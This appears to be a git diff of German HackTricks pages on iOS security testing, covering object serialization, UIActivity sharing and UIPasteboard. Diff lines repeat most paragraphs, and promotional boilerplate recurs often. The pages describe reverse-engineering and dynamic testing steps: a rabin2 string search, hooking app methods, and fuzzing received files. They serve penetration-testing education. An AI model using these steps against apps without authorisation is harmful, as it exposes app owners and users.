* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
# WebView-Protokollhandler
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
# WebView-Protokoll-Handler
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
Code und weitere Informationen unter [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
## Objektserialisierung in der iOS-Entwicklung
In iOS beinhaltet die **Objektserialisierung** das Konvertieren von Objekten in ein Format, das leicht gespeichert oder übertragen werden kann, und das anschließende Wiederherstellen dieser Objekte aus diesem Format bei Bedarf. Zwei Hauptprotokolle, **`NSCoding`** und **`NSSecureCoding`**, erleichtern diesen Prozess für Objective-C- oder `NSObject`-Unterklassen, indem sie Objekte in das Format **`NSData`** serialisieren, ein Format, das Byte-Puffer umschließt.
In iOS umfasst **Objektserialisierung** die Umwandlung von Objekten in ein Format, das leicht gespeichert oder übertragen werden kann, und deren Rekonstruktion aus diesem Format, wenn nötig. Zwei Hauptprotokolle, **`NSCoding`** und **`NSSecureCoding`**, erleichtern diesen Prozess für Objective-C oder `NSObject`-Unterklassen, sodass Objekte in **`NSData`** serialisiert werden können, ein Format, das Byte-Puffer umschließt.
### Implementierung von **`NSCoding`**
Um `NSCoding` zu implementieren, muss eine Klasse von `NSObject` erben oder als `@objc` markiert sein. Dieses Protokoll schreibt die Implementierung von zwei Methoden zur Codierung und Decodierung von Instanzvariablen vor:
### **`NSCoding`** Implementierung
Um `NSCoding` zu implementieren, muss eine Klasse von `NSObject` erben oder als `@objc` markiert sein. Dieses Protokoll verlangt die Implementierung von zwei Methoden zum Kodieren und Dekodieren von Instanzvariablen:
```swift
class CustomPoint: NSObject, NSCoding {
var x: Double = 0.0
@ -36,8 +37,8 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
}
}
```
### **Verbesserung der Sicherheit mit `NSSecureCoding`**
Um Schwachstellen zu mindern, bei denen Angreifer Daten in bereits konstruierte Objekte einschleusen, bietet **`NSSecureCoding`** ein verbessertes Protokoll. Klassen, die `NSSecureCoding` entsprechen, müssen den Typ der Objekte während der Dekodierung überprüfen, um sicherzustellen, dass nur die erwarteten Objekttypen instanziiert werden. Es ist jedoch wichtig zu beachten, dass `NSSecureCoding` zwar die Typensicherheit verbessert, aber keine Daten verschlüsselt oder deren Integrität gewährleistet. Daher sind zusätzliche Maßnahmen zum Schutz sensibler Informationen erforderlich:
### **Sicherheit mit `NSSecureCoding` verbessern**
Um Schwachstellen zu mindern, bei denen Angreifer Daten in bereits konstruierte Objekte injizieren, bietet **`NSSecureCoding`** ein verbessertes Protokoll. Klassen, die `NSSecureCoding` entsprechen, müssen den Typ der Objekte während der Dekodierung überprüfen, um sicherzustellen, dass nur die erwarteten Objekttypen instanziiert werden. Es ist jedoch wichtig zu beachten, dass `NSSecureCoding` zwar die Typsicherheit verbessert, jedoch keine Daten verschlüsselt oder deren Integrität gewährleistet, was zusätzliche Maßnahmen zum Schutz sensibler Informationen erforderlich macht:
```swift
static var supportsSecureCoding: Bool {
return true
@ -46,41 +47,41 @@ return true
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
```
## Datenarchivierung mit `NSKeyedArchiver`
`NSKeyedArchiver` und sein Gegenstück `NSKeyedUnarchiver` ermöglichen das Codieren von Objekten in eine Datei und späteres Abrufen dieser Objekte. Dieser Mechanismus ist nützlich für die Persistenz von Objekten:
`NSKeyedArchiver` und sein Gegenstück, `NSKeyedUnarchiver`, ermöglichen das Kodieren von Objekten in eine Datei und deren späteren Abruf. Dieser Mechanismus ist nützlich, um Objekte zu persistieren:
```swift
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
```
### Verwendung von `Codable` für vereinfachte Serialisierung
Das `Codable`-Protokoll von Swift kombiniert `Decodable` und `Encodable` und erleichtert die Codierung und Decodierung von Objekten wie `String`, `Int`, `Double`, usw., ohne zusätzlichen Aufwand:
Das `Codable`-Protokoll von Swift kombiniert `Decodable` und `Encodable` und erleichtert das Kodieren und Dekodieren von Objekten wie `String`, `Int`, `Double` usw. ohne zusätzlichen Aufwand:
```swift
struct CustomPointStruct: Codable {
var x: Double
var name: String
}
```
Diese Methode unterstützt eine einfache Serialisierung von und zu Property-Listen und JSON und verbessert die Datenverarbeitung in Swift-Anwendungen.
Dieser Ansatz unterstützt eine unkomplizierte Serialisierung zu und von Property-Listen und JSON, was die Datenverarbeitung in Swift-Anwendungen verbessert.
## JSON- und XML-Codierungsalternativen
Neben der nativen Unterstützung bieten mehrere Drittanbieterbibliotheken Codierung/Decodierung von JSON und XML an, wobei jede ihre eigenen Leistungsmerkmale und Sicherheitsaspekte hat. Es ist wichtig, diese Bibliotheken sorgfältig auszuwählen, insbesondere um Sicherheitslücken wie XXE (XML External Entities)-Angriffe zu vermeiden, indem Parser so konfiguriert werden, dass die Verarbeitung externer Entitäten verhindert wird.
### Sicherheitsaspekte
Beim Serialisieren von Daten, insbesondere auf das Dateisystem, ist es wichtig, wachsam zu sein, um das potenzielle Einfügen sensibler Informationen zu vermeiden. Serialisierte Daten können, wenn sie abgefangen oder unsachgemäß behandelt werden, Anwendungen Risiken wie unbefugte Aktionen oder Datenlecks aussetzen. Es wird empfohlen, serialisierte Daten zu verschlüsseln und zu signieren, um die Sicherheit zu verbessern.
Neben der nativen Unterstützung bieten mehrere Drittanbieterbibliotheken JSON- und XML-Codierungs-/Dekodierungsfunktionen, jede mit ihren eigenen Leistungsmerkmalen und Sicherheitsüberlegungen. Es ist wichtig, diese Bibliotheken sorgfältig auszuwählen, insbesondere um Schwachstellen wie XXE (XML External Entities)-Angriffe zu mindern, indem Parser so konfiguriert werden, dass die Verarbeitung externer Entitäten verhindert wird.
### Sicherheitsüberlegungen
Bei der Serialisierung von Daten, insbesondere zum Dateisystem, ist es wichtig, wachsam gegenüber der potenziellen Einbeziehung sensibler Informationen zu sein. Serialisierte Daten können, wenn sie abgefangen oder unsachgemäß behandelt werden, Anwendungen Risiken wie unbefugte Aktionen oder Datenlecks aussetzen. Es wird empfohlen, serialisierte Daten zu verschlüsseln und zu signieren, um die Sicherheit zu erhöhen.
## Referenzen
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,78 +1,80 @@
# iOS UIActivity Sharing
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Vereinfachtes UIActivity Sharing
# UIActivity Sharing Vereinfacht
Ab iOS 6 können Drittanbieteranwendungen Daten wie Text, URLs oder Bilder über Mechanismen wie AirDrop teilen, wie in Apples [Inter-App Communication Guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) beschrieben. Diese Funktion wird durch ein systemweites _Share Activity Sheet_ manifestiert, das beim Interagieren mit der Schaltfläche "Teilen" angezeigt wird.
Seit iOS 6 können Drittanbieteranwendungen **Daten** wie Text, URLs oder Bilder über Mechanismen wie AirDrop teilen, wie im [Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) von Apple beschrieben. Diese Funktion zeigt sich durch ein systemweites _Teilen-Aktivitätsblatt_, das beim Interagieren mit der Schaltfläche "Teilen" erscheint.
Eine umfassende Auflistung aller integrierten Freigabeoptionen finden Sie unter [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Entwickler können bestimmte Freigabeoptionen ausschließen, wenn sie diese für ihre Anwendung ungeeignet halten.
Eine umfassende Auflistung aller integrierten Sharing-Optionen ist unter [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype) verfügbar. Entwickler können entscheiden, bestimmte Sharing-Optionen auszuschließen, wenn sie diese für ihre Anwendung als ungeeignet erachten.
## **Wie man Daten teilt**
Die Aufmerksamkeit sollte auf Folgendes gerichtet werden:
Die Aufmerksamkeit sollte auf folgende Punkte gerichtet werden:
- Die Art der zu teilenden Daten.
- Die Einbeziehung benutzerdefinierter Aktivitäten.
- Die Art der geteilten Daten.
- Die Einbeziehung von benutzerdefinierten Aktivitäten.
- Der Ausschluss bestimmter Aktivitätstypen.
Das Teilen wird durch die Instanziierung eines `UIActivityViewController` ermöglicht, an den die für das Teilen vorgesehenen Elemente übergeben werden. Dies wird durch Aufrufen von:
Das Teilen erfolgt durch die Instanziierung eines `UIActivityViewController`, dem die zum Teilen vorgesehenen Elemente übergeben werden. Dies wird erreicht, indem man Folgendes aufruft:
```bash
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
0x1000df034 45 44 initWithActivityItems:applicationActivities:
```
Entwickler sollten den `UIActivityViewController` auf die Aktivitäten und benutzerdefinierten Aktivitäten überprüfen, mit denen er initialisiert wird, sowie auf eventuell angegebene `excludedActivityTypes`.
Entwickler sollten den `UIActivityViewController` hinsichtlich der Aktivitäten und benutzerdefinierten Aktivitäten, mit denen er initialisiert wird, sowie der angegebenen `excludedActivityTypes` genau prüfen.
## **Wie man Daten empfängt**
Folgende Aspekte sind entscheidend beim Empfangen von Daten:
Die folgenden Aspekte sind entscheidend beim Empfangen von Daten:
- Die Deklaration von **benutzerdefinierten Dokumenttypen**.
- Die Spezifikation der **Dokumenttypen, die die App öffnen kann**.
- Die Spezifikation von **Dokumenttypen, die die App öffnen kann**.
- Die Überprüfung der **Integrität der empfangenen Daten**.
Ohne Zugriff auf den Quellcode kann man dennoch das `Info.plist` auf Schlüssel wie `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` und `CFBundleDocumentTypes` überprüfen, um die Arten von Dokumenten zu verstehen, die eine App verarbeiten und deklarieren kann.
Ohne Zugriff auf den Quellcode kann man dennoch die `Info.plist` auf Schlüssel wie `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` und `CFBundleDocumentTypes` überprüfen, um die Arten von Dokumenten zu verstehen, die eine App verarbeiten und deklarieren kann.
Eine prägnante Anleitung zu diesen Schlüsseln ist auf [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) verfügbar, die die Bedeutung der Definition und des Imports von UTIs für die systemweite Erkennung und die Zuordnung von Dokumenttypen mit Ihrer App für die Integration im Dialogfeld "Öffnen mit" hervorhebt.
Ein prägnanter Leitfaden zu diesen Schlüsseln ist auf [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) verfügbar, der die Bedeutung der Definition und des Imports von UTIs für die systemweite Erkennung sowie die Zuordnung von Dokumenttypen zu Ihrer App für die Integration im Dialog "Öffnen mit" hervorhebt.
## Dynamischer Testansatz
Um **Aktivitäten zu senden** kann man Folgendes tun:
Um **sendende Aktivitäten** zu testen, könnte man:
- In die Methode `init(activityItems:applicationActivities:)` einhaken, um die geteilten Elemente und Aktivitäten zu erfassen.
- Ausgeschlossene Aktivitäten identifizieren, indem man auf die Eigenschaft `excludedActivityTypes` zugreift.
- In die Methode `init(activityItems:applicationActivities:)` einhaken, um die Elemente und Aktivitäten zu erfassen, die geteilt werden.
- Ausgeschlossene Aktivitäten identifizieren, indem man die Eigenschaft `excludedActivityTypes` abfängt.
Für das **Empfangen von Elementen** sind folgende Schritte erforderlich:
Für **empfangene Elemente** umfasst es:
- Eine Datei mit der App von einer anderen Quelle (z. B. AirDrop, E-Mail) teilen, die den Dialog "Mit ... öffnen" aufruft.
- `application:openURL:options:` und andere während der statischen Analyse identifizierte Methoden abfangen, um die Reaktion der App zu beobachten.
- Fehlerhafte Dateien oder Fuzzing-Techniken verwenden, um die Robustheit der App zu bewerten.
- Eine Datei von einer anderen Quelle (z. B. AirDrop, E-Mail) mit der App zu teilen, die den Dialog "Öffnen mit..." aufruft.
- `application:openURL:options:` unter anderen während der statischen Analyse identifizierten Methoden abfangen, um die Reaktion der App zu beobachten.
- Fehlformatierte Dateien oder Fuzzing-Techniken verwenden, um die Robustheit der App zu bewerten.
## Referenzen
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,56 +1,57 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Der Datenaustausch innerhalb und zwischen Anwendungen auf iOS-Geräten wird durch den Mechanismus [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) erleichtert, der in zwei Hauptkategorien unterteilt ist:
Die Datenfreigabe innerhalb und zwischen Anwendungen auf iOS-Geräten erfolgt über den [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) Mechanismus, der in zwei Hauptkategorien unterteilt ist:
- **Systemweiter allgemeiner Pasteboard**: Dies wird zum Austausch von Daten mit **beliebigen Anwendungen** verwendet und ist darauf ausgelegt, Daten über Geräteneustarts und App-Deinstallationen hinweg zu persistieren, eine Funktion, die seit iOS 10 verfügbar ist.
- **Benutzerdefinierte / benannte Pasteboards**: Diese sind speziell für den Datenaustausch **innerhalb einer App oder mit einer anderen App**, die dieselbe Team-ID teilt, und sind nicht dazu gedacht, über die Lebensdauer des Anwendungsprozesses hinaus zu persistieren, wie es seit iOS 10 eingeführt wurde.
- **Systemweiter allgemeiner Pasteboard**: Dieser wird verwendet, um Daten mit **beliebigen Anwendungen** zu teilen und ist so konzipiert, dass Daten über Geräte-Neustarts und App-Deinstallationen hinweg bestehen bleiben, eine Funktion, die seit iOS 10 verfügbar ist.
